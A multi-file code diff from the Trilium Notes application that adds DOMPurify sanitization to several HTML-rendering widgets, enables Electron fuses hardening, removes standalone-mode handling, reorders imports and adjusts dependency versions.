 import { ExperimentalFeature, ExperimentalFeatureId, experimentalFeatures, isExperimentalFeatureEnabled, toggleExperimentalFeature } from "../../services/experimental_features";
 import { t } from "../../services/i18n";
-import utils, { dynamicRequire, isElectron, isMobile, isStandalone, reloadFrontendApp } from "../../services/utils";
+import utils, { dynamicRequire, isElectron, isMobile, reloadFrontendApp } from "../../services/utils";
 import Dropdown from "../react/Dropdown";
 import { FormDropdownDivider, FormDropdownSubmenu, FormListHeader, FormListItem } from "../react/FormList";
 import { useStaticTooltip, useStaticTooltipWithKeyboardShortcut, useTriliumOption, useTriliumOptionBool, useTriliumOptionInt } from "../react/hooks";
@@ -251,7 +251,7 @@ function ToggleWindowOnTop() {
 function useTriliumUpdateStatus() {
     const [ latestVersion, setLatestVersion ] = useState<string>();
     const [ checkForUpdates ] = useTriliumOptionBool("checkForUpdates");
-    const isUpdateAvailable = utils.isUpdateAvailable(latestVersion, window.glob.triliumVersion);
+    const isUpdateAvailable = utils.isUpdateAvailable(latestVersion, glob.triliumVersion);
 
     async function updateVersionStatus() {
         const RELEASES_API_URL = "https://api.github.com/repos/TriliumNext/Trilium/releases/latest";
@@ -269,7 +269,7 @@ function useTriliumUpdateStatus() {
     }
 
     useEffect(() => {
-        if (!checkForUpdates || !isStandalone) {
+        if (!checkForUpdates) {
             setLatestVersion(undefined);
             return;
         }

apps/client/src/widgets/collections/board/data.spec.ts

@@ -1,4 +1,4 @@
-import { describe, expect, it } from "vitest";
+import { describe, expect,it } from "vitest";
 
 import FBranch from "../../../entities/fbranch";
 import froca from "../../../services/froca";

apps/client/src/widgets/collections/legacy/ListPrintView.tsx

@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
 import type { PrintReport } from "../../../print";
 import content_renderer from "../../../services/content_renderer";
 import froca from "../../../services/froca";
+import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
 import type { ViewModeProps } from "../interface";
 import { filterChildNotes, useFilteredNoteIds } from "./utils";
 
@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
                 <h1>{note.title}</h1>
 
                 {state.notesWithContent?.map(({ note: childNote, contentEl }) => (
-                    <section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
+                    <section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
                 ))}
             </div>
         </div>

apps/client/src/widgets/collections/presentation/model.ts

@@ -1,6 +1,7 @@
 import { NoteType } from "@triliumnext/commons";
 import FNote from "../../../entities/fnote";
 import contentRenderer from "../../../services/content_renderer";
+import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
 import { ProgressChangedFn } from "../interface";
 
 type DangerouslySetInnerHTML = { __html: string; };
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
     const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
         noChildrenList: true
     });
-    return { __html: $renderedContent.html() };
+    return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
 }
 
 async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

apps/client/src/widgets/collections/table/columns.tsx

@@ -1,12 +1,11 @@
-import { LabelType } from "@triliumnext/commons";
-import { JSX } from "preact";
-import { useEffect, useRef, useState } from "preact/hooks";
 import type { CellComponent, ColumnDefinition, EmptyCallback, FormatterParams, ValueBooleanCallback, ValueVoidCallback } from "tabulator-tables";
-
-import froca from "../../../services/froca.js";
-import Icon from "../../react/Icon.jsx";
-import NoteAutocomplete from "../../react/NoteAutocomplete.jsx";
+import { LabelType } from "../../../services/promoted_attribute_definition_parser.js";
+import { JSX } from "preact";
 import { renderReactWidget } from "../../react/react_utils.jsx";
+import Icon from "../../react/Icon.jsx";
+import { useEffect, useRef, useState } from "preact/hooks";
+import froca from "../../../services/froca.js";
+import NoteAutocomplete from "../../react/NoteAutocomplete.jsx";
 
 type ColumnType = LabelType | "relation";
 
@@ -86,7 +85,7 @@ export function buildColumnDefinitions({ info, movableRows, existingColumnData,
             rowHandle: movableRows,
             width: calculateIndexColumnWidth(rowNumberHint, movableRows),
             formatter: wrapFormatter(({ cell, formatterParams }) => <div>
-                {(formatterParams as RowNumberFormatterParams).movableRows && <><span class="bx bx-dots-vertical-rounded" />{" "}</>}
+                {(formatterParams as RowNumberFormatterParams).movableRows && <><span class="bx bx-dots-vertical-rounded"></span>{" "}</>}
                 {cell.getRow().getPosition(true)}
             </div>),
             formatterParams: { movableRows } satisfies RowNumberFormatterParams
@@ -208,14 +207,14 @@ function wrapEditor(Component: (opts: EditorOpts) => JSX.Element): ((
     editorParams: {},
 ) => HTMLElement | false) {
     return (cell, _, success, cancel, editorParams) => {
-        const elWithParams = <Component cell={cell} success={success} cancel={cancel} editorParams={editorParams} />;
+        const elWithParams = <Component cell={cell} success={success} cancel={cancel} editorParams={editorParams} />
         return renderReactWidget(null, elWithParams)[0];
     };
 }
 
 function NoteFormatter({ cell }: FormatterOpts) {
     const noteId = cell.getValue();
-    const [ note, setNote ] = useState(noteId ? froca.getNoteFromCache(noteId) : null);
+    const [ note, setNote ] = useState(noteId ? froca.getNoteFromCache(noteId) : null)
 
     useEffect(() => {
         if (!noteId || note?.noteId === noteId) return;
@@ -239,5 +238,5 @@ function RelationEditor({ cell, success }: EditorOpts) {
             hideAllButtons: true
         }}
         noteIdChanged={success}
-    />;
+    />
 }

apps/client/src/widgets/collections/table/rows.ts

@@ -1,7 +1,5 @@
-import { LabelType } from "@triliumnext/commons";
-
 import FNote from "../../../entities/fnote.js";
-import { extractAttributeDefinitionTypeAndName } from "../../../services/promoted_attribute_definition_parser.js";
+import { extractAttributeDefinitionTypeAndName, type LabelType } from "../../../services/promoted_attribute_definition_parser.js";
 import type { AttributeDefinitionInformation } from "./columns.js";
 
 export type TableData = {
@@ -51,7 +49,7 @@ export async function buildRowDefinitions(parentNote: FNote, infos: AttributeDef
             isArchived: note.isArchived,
             branchId: branch.branchId,
             colorClass: note.getColorClass()
-        };
+        }
 
         if (note.hasChildren() && (maxDepth < 0 || currentDepth < maxDepth)) {
             const { definitions, rowNumber: subRowNumber } = (await buildRowDefinitions(note, infos, includeArchived, maxDepth, currentDepth + 1));

apps/client/src/widgets/dialogs/about.tsx

@@ -1,14 +1,13 @@
-import type { AppInfo } from "@triliumnext/commons";
-import type { CSSProperties } from "preact/compat";
-import { useState } from "preact/hooks";
-
+import Modal from "../react/Modal.js";
 import { t } from "../../services/i18n.js";
-import openService from "../../services/open.js";
+import { formatDateTime } from "../../utils/formatters.js";
 import server from "../../services/server.js";
 import utils from "../../services/utils.js";
-import { formatDateTime } from "../../utils/formatters.js";
+import openService from "../../services/open.js";
+import { useState } from "preact/hooks";
+import type { CSSProperties } from "preact/compat";
+import type { AppInfo } from "@triliumnext/commons";
 import { useTriliumEvent } from "../react/hooks.jsx";
-import Modal from "../react/Modal.js";
 
 export default function AboutDialog() {
     const [appInfo, setAppInfo] = useState<AppInfo | null>(null);
@@ -55,15 +54,15 @@ export default function AboutDialog() {
                     <tr>
                         <th>{t("about.build_revision")}</th>
                         <td className="selectable-text">
-                            {appInfo?.buildRevision && <a className="tn-link build-revision external" href={`https://github.com/TriliumNext/Trilium/commit/${appInfo.buildRevision}`} target="_blank" style={forceWordBreak} rel="noreferrer">{appInfo.buildRevision}</a>}
+                            {appInfo?.buildRevision && <a className="tn-link build-revision external" href={`https://github.com/TriliumNext/Trilium/commit/${appInfo.buildRevision}`} target="_blank" style={forceWordBreak}>{appInfo.buildRevision}</a>}
                         </td>
                     </tr>
-                    { appInfo?.dataDirectory && <tr>
+                    <tr>
                         <th>{t("about.data_directory")}</th>
                         <td className="data-directory">
                             {appInfo?.dataDirectory && (<DirectoryLink directory={appInfo.dataDirectory} style={forceWordBreak} />)}
                         </td>
-                    </tr>}
+                    </tr>
                 </tbody>
             </table>
         </Modal>
@@ -77,8 +76,8 @@ function DirectoryLink({ directory, style }: { directory: string, style?: CSSPro
             openService.openDirectory(directory);
         };
 
-        return <a className="tn-link selectable-text" href="#" onClick={onClick} style={style}>{directory}</a>;
-    } 
-    return <span className="selectable-text" style={style}>{directory}</span>;
-    
+        return <a className="tn-link selectable-text" href="#" onClick={onClick} style={style}>{directory}</a>
+    } else {
+        return <span className="selectable-text" style={style}>{directory}</span>;
+    }
 }

apps/client/src/widgets/dialogs/export.tsx

@@ -1,18 +1,16 @@
-import "./export.css";
-
 import { useState } from "preact/hooks";
-
-import froca from "../../services/froca";
 import { t } from "../../services/i18n";
-import open from "../../services/open";
-import toastService, { type ToastOptionsWithRequiredId } from "../../services/toast";
 import tree from "../../services/tree";
-import utils, { isStandalone } from "../../services/utils";
-import ws from "../../services/ws";
 import Button from "../react/Button";
 import FormRadioGroup from "../react/FormRadioGroup";
-import { useTriliumEvent } from "../react/hooks";
 import Modal from "../react/Modal";
+import "./export.css";
+import ws from "../../services/ws";
+import toastService, { type ToastOptionsWithRequiredId } from "../../services/toast";
+import utils from "../../services/utils";
+import open from "../../services/open";
+import froca from "../../services/froca";
+import { useTriliumEvent } from "../react/hooks";
 
 interface ExportDialogProps {
     branchId?: string | null;
@@ -81,7 +79,7 @@ export default function ExportDialog() {
                         values={[
                             { value: "html", label: t("export.format_html_zip") },
                             { value: "markdown", label: t("export.format_markdown") },
-                            !isStandalone && { value: "share", label: t("export.share-format") },
+                            { value: "share", label: t("export.share-format") },
                             { value: "opml", label: t("export.format_opml") }
                         ]}
                     />

apps/client/src/widgets/dialogs/recent_changes.tsx

@@ -27,7 +27,6 @@ export default function RecentChangesDialog() {
     });
 
     useEffect(() => {
-        if (!ancestorNoteId) return;
         server.get<RecentChangeRow[]>(`recent-changes/${ancestorNoteId}`)
             .then(async (recentChanges) => {
                 // preload all notes into cache

apps/client/src/widgets/dialogs/revisions.tsx

@@ -284,7 +284,7 @@ function RevisionContent({ noteContent, revisionItem, fullRevision, showDiff }:
     }
 }
 
-function RevisionContentText({ content }: { content: string | Uint8Array | undefined }) {
+function RevisionContentText({ content }: { content: string | Buffer<ArrayBufferLike> | undefined }) {
     const contentRef = useRef<HTMLDivElement>(null);
     useEffect(() => {
         if (contentRef.current?.querySelector("span.math-tex")) {
@@ -296,7 +296,7 @@ function RevisionContentText({ content }: { content: string | Uint8Array | undef
 
 function RevisionContentDiff({ noteContent, itemContent, itemType }: {
     noteContent?: string,
-    itemContent: string | Uint8Array | undefined,
+    itemContent: string | Buffer<ArrayBufferLike> | undefined,
     itemType: string
 }) {
     const contentRef = useRef<HTMLDivElement>(null);

apps/client/src/widgets/highlights_list.ts

@@ -13,6 +13,27 @@ import katex from "../services/math.js";
 import options from "../services/options.js";
 import OnClickButtonWidget from "./buttons/onclick_button.js";
 import RightPanelWidget from "./right_panel_widget.js";
+import DOMPurify from "dompurify";
+
+/**
+ * DOMPurify configuration for highlight list items. Only allows inline
+ * formatting tags that appear in highlighted text (bold, italic, underline,
+ * colored/background-colored spans, KaTeX math output).
+ */
+const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS: [
+        "b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
+        "code", "mark", "span", "abbr", "small", "a",
+        // KaTeX rendering output elements
+        "math", "semantics", "mrow", "mi", "mo", "mn", "msup",
+        "msub", "mfrac", "mover", "munder", "munderover",
+        "msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
+        "mspace", "annotation"
+    ],
+    ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false
+};
 
 const TPL = /*html*/`<div class="highlights-list-widget">
     <style>
@@ -255,7 +276,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
 
             if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
                 // If the previous element is connected to this element in HTML, then concatenate them into one.
-                $highlightsList.children().last().append(subHtml);
+                $highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
             } else {
                 // TODO: can't be done with $(subHtml).text()?
                 //Can’t remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -267,12 +288,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
                     //If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
                     if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
                         const $lastLi = $highlightsList.children("li").last();
-                        $lastLi.append(await this.replaceMathTextWithKatax(substring));
-                        $lastLi.append(subHtml);
+                        $lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
+                        $lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
                     } else {
                         $highlightsList.append(
                             $("<li>")
-                                .html(subHtml)
+                                .html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
                                 .on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
                         );
                     }

apps/client/src/widgets/layout/StandaloneWarningBar.tsx

@@ -1,26 +0,0 @@
-import { isMobile } from "../../services/utils";
-import Admonition from "../react/Admonition";
-
-export default function StandaloneWarningBar() {
-    return (
-        <div
-            className="standalone-warning-bar"
-            style={{
-                contain: "none"
-            }}
-        >
-            <Admonition
-                type="caution"
-                style={{
-                    margin: 0,
-                    fontSize: "0.8em"
-                }}
-            >
-                {isMobile()
-                    ? "Running Trilium standalone. Beware of data loss and other issues."
-                    : "You are running Trilium in standalone mode. Some features are not available, and you may experience issues or data loss. Use the desktop application or self-hosted server for the best experience."
-                }
-            </Admonition>
-        </div>
-    );
-}

apps/client/src/widgets/react/Admonition.tsx

@@ -1,16 +1,15 @@
-import { HTML } from "mermaid/dist/diagram-api/types.js";
-import { ComponentChildren, HTMLAttributes } from "preact";
+import { ComponentChildren } from "preact";
 
-interface AdmonitionProps extends Pick<HTMLAttributes<HTMLDivElement>, "style"> {
+interface AdmonitionProps {
     type: "warning" | "note" | "caution";
     children: ComponentChildren;
     className?: string;
 }
 
-export default function Admonition({ type, children, className, ...props }: AdmonitionProps) {
+export default function Admonition({ type, children, className }: AdmonitionProps) {
     return (
-        <div className={`admonition ${type} ${className}`} role="alert" {...props}>
+        <div className={`admonition ${type} ${className}`} role="alert">
             {children}
         </div>
-    );
+    )
 }

apps/client/src/widgets/react/Collapsible.tsx

@@ -43,13 +43,13 @@ export function ExternallyControlledCollapsible({ title, children, className, ex
                     setFullyExpanded(true);
                 }, 250);
                 return () => clearTimeout(timeout);
-            } 
-            setFullyExpanded(true);
-            
+            } else {
+                setFullyExpanded(true);
+            }
         } else {
             setFullyExpanded(false);
         }
-    }, [expanded, transitionEnabled]);
+    }, [expanded, transitionEnabled])
 
     return (
         <div className={clsx("collapsible", className, {
@@ -58,10 +58,7 @@ export function ExternallyControlledCollapsible({ title, children, className, ex
         })}>
             <button
                 className="collapsible-title tn-low-profile"
-                onClick={(e) => {
-                    e.preventDefault();
-                    setExpanded(!expanded);
-                }}
+                onClick={() => setExpanded(!expanded)}
                 aria-expanded={expanded}
                 aria-controls={contentId}
             >

apps/client/src/widgets/react/FormGroup.tsx

@@ -1,6 +1,5 @@
 import { cloneElement, ComponentChildren, RefObject, VNode } from "preact";
 import { CSSProperties } from "preact/compat";
-
 import { useUniqueName } from "./hooks";
 
 interface FormGroupProps {
@@ -9,7 +8,6 @@ interface FormGroupProps {
     label?: string;
     title?: string;
     className?: string;
-    error?: string;
     // eslint-disable-next-line @typescript-eslint/no-explicit-any
     children: VNode<any>;
     description?: string | ComponentChildren;
@@ -17,7 +15,7 @@ interface FormGroupProps {
     style?: CSSProperties;
 }
 
-export default function FormGroup({ name, label, title, className, children, description, labelRef, disabled, style, error }: FormGroupProps) {
+export default function FormGroup({ name, label, title, className, children, description, labelRef, disabled, style }: FormGroupProps) {
     const id = useUniqueName(name);
     const childWithId = cloneElement(children, { id });
 
@@ -28,7 +26,6 @@ export default function FormGroup({ name, label, title, className, children, des
 
             {childWithId}
 
-            {error && <div><small className="form-text text-danger">{error}</small></div>}
             {description && <div><small className="form-text">{description}</small></div>}
         </div>
     );
@@ -44,4 +41,4 @@ export function FormMultiGroup({ label, children }: { label: string, children: C
             {children}
         </div>
     );
-}
+}

apps/client/src/widgets/react/FormRadioGroup.tsx

@@ -1,35 +1,30 @@
 import type { ComponentChildren } from "preact";
-
 import { useUniqueName } from "./hooks";
 
 interface FormRadioProps {
     name: string;
     currentValue?: string;
-    values: ({
+    values: {
         value: string;
         label: string | ComponentChildren;
         inlineDescription?: string | ComponentChildren;
-    } | false)[];
+    }[];
     onChange(newValue: string): void;
 }
 
 export default function FormRadioGroup({ values, ...restProps }: FormRadioProps) {
     return (
         <div role="group">
-            {(values || []).map((el) => {
-                if (!el) return null;
-                const { value, label, inlineDescription } = el;
-                return (
-                    <div className="form-checkbox" key={value}>
-                        <FormRadio
-                            value={value}
-                            label={label} inlineDescription={inlineDescription}
-                            labelClassName="form-check-label"
-                            {...restProps}
-                        />
-                    </div>
-                );
-            })}
+            {(values || []).map(({ value, label, inlineDescription }) => (
+                <div className="form-checkbox">
+                    <FormRadio
+                        value={value}
+                        label={label} inlineDescription={inlineDescription}
+                        labelClassName="form-check-label"
+                        {...restProps}
+                    />
+                </div>
+            ))}
         </div>
     );
 }
@@ -37,13 +32,9 @@ export default function FormRadioGroup({ values, ...restProps }: FormRadioProps)
 export function FormInlineRadioGroup({ values, ...restProps }: FormRadioProps) {
     return (
         <div role="group">
-            {values.map((el) => {
-                if (!el) return null;
-                const { value, label, inlineDescription } = el;
-                return <FormRadio key={value} value={value} label={label} inlineDescription={inlineDescription} {...restProps} />;
-            })}
+            {values.map(({ value, label }) => (<FormRadio value={value} label={label} {...restProps} />))}
         </div>
-    );
+    )
 }
 
 function FormRadio({ name, value, label, currentValue, onChange, labelClassName, inlineDescription }: Omit<FormRadioProps, "values"> & { value: string, label: ComponentChildren, inlineDescription?: ComponentChildren, labelClassName?: string }) {
@@ -59,7 +50,7 @@ function FormRadio({ name, value, label, currentValue, onChange, labelClassName,
             />
             {inlineDescription ?
                 <><strong>{label}</strong> - {inlineDescription}</>
-                : label}
+            : label}
         </label>
-    );
-}
+    )
+}

apps/client/src/widgets/react/RawHtml.tsx

@@ -1,6 +1,8 @@
 import DOMPurify from "dompurify";
 import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
 
+import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
+
 type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
 
 interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
@@ -37,7 +39,7 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
     }
 
     return {
-        __html: html as string
+        __html: sanitizeNoteContentHtml(html as string)
     };
 }
 

apps/client/src/widgets/toc.ts

@@ -21,6 +21,27 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
 import appContext, { type EventData } from "../components/app_context.js";
 import katex from "../services/math.js";
 import type FNote from "../entities/fnote.js";
+import DOMPurify from "dompurify";
+
+/**
+ * DOMPurify configuration for ToC headings. Only allows inline formatting
+ * tags that legitimately appear in headings (bold, italic, KaTeX math output).
+ * Blocks all event handlers, script tags, and dangerous attributes.
+ */
+const TOC_PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS: [
+        "b", "i", "em", "strong", "s", "del", "sub", "sup",
+        "code", "mark", "span", "abbr", "small",
+        // KaTeX rendering output elements
+        "math", "semantics", "mrow", "mi", "mo", "mn", "msup",
+        "msub", "mfrac", "mover", "munder", "munderover",
+        "msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
+        "mspace", "annotation"
+    ],
+    ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false
+};
 
 const TPL = /*html*/`<div class="toc-widget">
     <style>
@@ -337,7 +358,7 @@ export default class TocWidget extends RightPanelWidget {
             //
 
             const headingText = await this.replaceMathTextWithKatax(m[2]);
-            const $itemContent = $('<div class="item-content">').html(headingText);
+            const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
             const $li = $("<li>").append($itemContent)
                 .on("click", () => this.jumpToHeading(headingIndex));
             $ols[$ols.length - 1].append($li);

apps/client/src/widgets/type_widgets/ReadOnlyTextRepresentation.tsx

@@ -1,11 +1,13 @@
 import "./ReadOnlyTextRepresentation.css";
 
-import type { TextRepresentationResponse } from "@triliumnext/commons";
+import type { OCRProcessResponse, TextRepresentationResponse } from "@triliumnext/commons";
 import { useEffect, useState } from "preact/hooks";
 
+import appContext from "../../components/app_context";
 import { t } from "../../services/i18n";
 import server from "../../services/server";
 import toast from "../../services/toast";
+import { randomString } from "../../services/utils";
 import { TypeWidgetProps } from "./type_widget";
 
 type State =
@@ -62,10 +64,35 @@ export function TextRepresentation({ textUrl, processUrl }: TextRepresentationPr
     async function processOCR() {
         setProcessing(true);
         try {
-            const response = await server.post<{ success: boolean; message?: string }>(processUrl, { forceReprocess: true });
+            const response = await server.post<OCRProcessResponse>(processUrl, { forceReprocess: true });
             if (response.success) {
-                toast.showMessage(t("ocr.processing_started"));
-                setTimeout(fetchText, 2000);
+                const result = response.result;
+                const minConfidence = response.minConfidence ?? 0;
+
+                // Check if text was filtered due to low confidence
+                if (result && !result.text && result.confidence > 0 && minConfidence > 0) {
+                    const confidencePercent = Math.round(result.confidence * 100);
+                    const thresholdPercent = Math.round(minConfidence * 100);
+                    toast.showPersistent({
+                        id: `ocr-low-confidence-${randomString(8)}`,
+                        icon: "bx bx-info-circle",
+                        message: t("ocr.text_filtered_low_confidence", {
+                            confidence: confidencePercent,
+                            threshold: thresholdPercent
+                        }),
+                        timeout: 15000,
+                        buttons: [{
+                            text: t("ocr.open_media_settings"),
+                            onClick: ({ dismissToast }) => {
+                                appContext.tabManager.openInNewTab("_optionsMedia", null, true);
+                                dismissToast();
+                            }
+                        }]
+                    });
+                } else {
+                    toast.showMessage(t("ocr.processing_complete"));
+                }
+                setTimeout(fetchText, 500);
             } else {
                 toast.showError(response.message || t("ocr.processing_failed"));
             }

apps/client/src/widgets/type_widgets/helpers/SplitEditor.css

@@ -104,6 +104,6 @@ body.desktop .note-detail-split .note-detail-code-editor {
 .note-detail-split.svg-editor .render-container svg {
     width: 100%;
     height: 100%;
-    max-width: 100%;
+    max-width: 100% !important;
 }
 /* #endregion */

apps/client/src/widgets/type_widgets/mermaid/sample_diagrams.ts

@@ -505,6 +505,47 @@ ishikawa-beta
   Environment
     Subject moved too quickly
     Too dark
+`
+    },
+    {
+        name: t("mermaid.sample_treeview"),
+        content: `\
+treeView-beta
+    "src"
+        "components"
+            "Button.tsx"
+            "Modal.tsx"
+        "services"
+            "api.ts"
+            "utils.ts"
+        "index.ts"
+    "package.json"
+    "README.md"
+`
+    },
+    {
+        name: t("mermaid.sample_wardley"),
+        content: `\
+wardley-beta
+    title Tea Shop
+
+    anchor Customers [0.95, 0.63]
+    anchor Business [0.95, 0.27]
+
+    component Cup of Tea [0.79, 0.61]
+    component Tea [0.63, 0.81]
+    component Cup [0.57, 0.46]
+    component Water [0.52, 0.89]
+    component Kettle [0.47, 0.53]
+    component Power [0.36, 0.72]
+
+    Customers -> Cup of Tea
+    Business -> Cup of Tea
+    Cup of Tea -> Tea
+    Cup of Tea -> Cup
+    Cup of Tea -> Water
+    Water -> Kettle
+    Kettle -> Power
 `
     }
 ];

apps/client/src/widgets/type_widgets/text/snippets.ts

@@ -3,6 +3,7 @@ import froca from "../../../services/froca.js";
 import type LoadResults from "../../../services/load_results.js";
 import search from "../../../services/search.js";
 import type { TemplateDefinition } from "@triliumnext/ckeditor5";
+import appContext from "../../../components/app_context.js";
 import type FNote from "../../../entities/fnote.js";
 
 interface TemplateData {
@@ -20,25 +21,20 @@ const debouncedHandleContentUpdate = debounce(handleContentUpdate, 1000);
  * @returns the list of templates.
  */
 export default async function getTemplates() {
-    try {
-        // Build the definitions and populate the cache.
-        const snippets = await search.searchForNotes("#textSnippet");
-        const definitions: TemplateDefinition[] = [];
-        for (const snippet of snippets) {
-            const { description } = await invalidateCacheFor(snippet);
+    // Build the definitions and populate the cache.
+    const snippets = await search.searchForNotes("#textSnippet");
+    const definitions: TemplateDefinition[] = [];
+    for (const snippet of snippets) {
+        const { description } = await invalidateCacheFor(snippet);
 
-            definitions.push({
-                title: snippet.title,
-                data: () => templateCache.get(snippet.noteId)?.content ?? "",
-                icon: buildIcon(snippet),
-                description
-            });
-        }
-        return definitions;
-    } catch (e) {
-        logError("Error while building text snippet templates: ", e);
-        return [];
+        definitions.push({
+            title: snippet.title,
+            data: () => templateCache.get(snippet.noteId)?.content ?? "",
+            icon: buildIcon(snippet),
+            description
+        });
     }
+    return definitions;
 }
 
 async function invalidateCacheFor(snippet: FNote) {

apps/client/vite.config.mts

@@ -87,6 +87,7 @@ export default defineConfig(() => ({
             input: {
                 index: join(__dirname, "index.html"),
                 login: join(__dirname, "src", "login.ts"),
+                setup: join(__dirname, "src", "setup.ts"),
                 set_password: join(__dirname, "src", "set_password.ts"),
                 runtime: join(__dirname, "src", "runtime.ts"),
                 print: join(__dirname, "src", "print.tsx")

apps/desktop/electron-forge/forge.config.ts

@@ -1,10 +1,11 @@
 import type { ForgeConfig } from "@electron-forge/shared-types";
+import { FuseV1Options, FuseVersion } from "@electron/fuses";
 import { LOCALES } from "@triliumnext/commons";
 import { existsSync } from "fs";
 import fs from "fs-extra";
 import path, { join } from "path";
 
-import packageJson from "../package.json" with { type: "json" };
+import packageJson from "../package.json" assert { type: "json" };
 import { PRODUCT_NAME } from "../src/app-info.js";
 
 const ELECTRON_FORGE_DIR = __dirname;
@@ -166,6 +167,17 @@ const config: ForgeConfig = {
         {
             name: "@electron-forge/plugin-auto-unpack-natives",
             config: {}
+        },
+        {
+            name: "@electron-forge/plugin-fuses",
+            config: {
+                version: FuseVersion.V1,
+                [FuseV1Options.RunAsNode]: false,
+                [FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
+                [FuseV1Options.EnableNodeCliInspectArguments]: false,
+                [FuseV1Options.EnableCookieEncryption]: true,
+                [FuseV1Options.OnlyLoadAppFromAsar]: true
+            }
         }
     ],
     hooks: {

apps/desktop/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@triliumnext/desktop",
-  "version": "0.102.1",
+  "version": "0.102.2",
   "description": "Build your personal knowledge base with Trilium Notes",
   "private": true,
   "main": "src/main.ts",
@@ -27,17 +27,9 @@
     "better-sqlite3": "12.8.0",
     "electron-debug": "4.1.0",
     "electron-dl": "4.0.0",
-    "electron-squirrel-startup": "1.0.1",
-    "jquery.fancytree": "2.38.5",
-    "jquery-hotkeys": "0.2.2"
+    "electron-squirrel-startup": "1.0.1"
   },
   "devDependencies": {
-    "@types/electron-squirrel-startup": "1.0.2",
-    "@triliumnext/commons": "workspace:*",
-    "@triliumnext/core": "workspace:*",
-    "@triliumnext/server": "workspace:*",
-    "copy-webpack-plugin": "14.0.0",
-    "electron": "41.1.0",
     "@electron-forge/cli": "7.11.1",
     "@electron-forge/maker-deb": "7.11.1",
     "@electron-forge/maker-dmg": "7.11.1",
@@ -46,6 +38,13 @@
     "@electron-forge/maker-squirrel": "7.11.1",
     "@electron-forge/maker-zip": "7.11.1",
     "@electron-forge/plugin-auto-unpack-natives": "7.11.1",
+    "@electron-forge/plugin-fuses": "7.11.1",
+    "@electron/fuses": "1.8.0",
+    "@triliumnext/commons": "workspace:*",
+    "@triliumnext/server": "workspace:*",
+    "@types/electron-squirrel-startup": "1.0.2",
+    "copy-webpack-plugin": "13.0.1",
+    "electron": "40.8.5",
     "prebuild-install": "7.1.3"
   }
 }

apps/desktop/src/main.ts

@@ -1,25 +1,17 @@
-import { getLog, initializeCore, sql_init } from "@triliumnext/core";
-import ClsHookedExecutionContext from "@triliumnext/server/src/cls_provider.js";
-import NodejsCryptoProvider from "@triliumnext/server/src/crypto_provider.js";
-import NodejsZipProvider from "@triliumnext/server/src/zip_provider.js";
-import dataDirs from "@triliumnext/server/src/services/data_dir.js";
-import options from "@triliumnext/server/src/services/options.js";
-import port from "@triliumnext/server/src/services/port.js";
-import NodeRequestProvider from "@triliumnext/server/src/services/request.js";
-import tray from "@triliumnext/server/src/services/tray.js";
+import { initializeTranslations } from "@triliumnext/server/src/services/i18n.js";
+import { t } from "i18next";
+
+import { app, globalShortcut, BrowserWindow } from "electron";
+import sqlInit from "@triliumnext/server/src/services/sql_init.js";
 import windowService from "@triliumnext/server/src/services/window.js";
-import WebSocketMessagingProvider from "@triliumnext/server/src/services/ws_messaging_provider.js";
-import BetterSqlite3Provider from "@triliumnext/server/src/sql_provider.js";
-import { app, BrowserWindow,globalShortcut } from "electron";
+import tray from "@triliumnext/server/src/services/tray.js";
+import options from "@triliumnext/server/src/services/options.js";
 import electronDebug from "electron-debug";
 import electronDl from "electron-dl";
-import fs from "fs";
-import { t } from "i18next";
-import path, { join } from "path";
-
-import { deferred, LOCALES } from "../../../packages/commons/src";
 import { PRODUCT_NAME } from "./app-info";
-import DesktopPlatformProvider from "./platform_provider";
+import port from "@triliumnext/server/src/services/port.js";
+import { join } from "path";
+import { deferred, LOCALES } from "../../../packages/commons/src";
 
 async function main() {
     const userDataPath = getUserData();
@@ -90,7 +82,7 @@ async function main() {
         }
     });
 
-    // await initializeTranslations();
+    await initializeTranslations();
 
     const isPrimaryInstance = (await import("electron")).app.requestSingleInstanceLock();
     if (!isPrimaryInstance) {
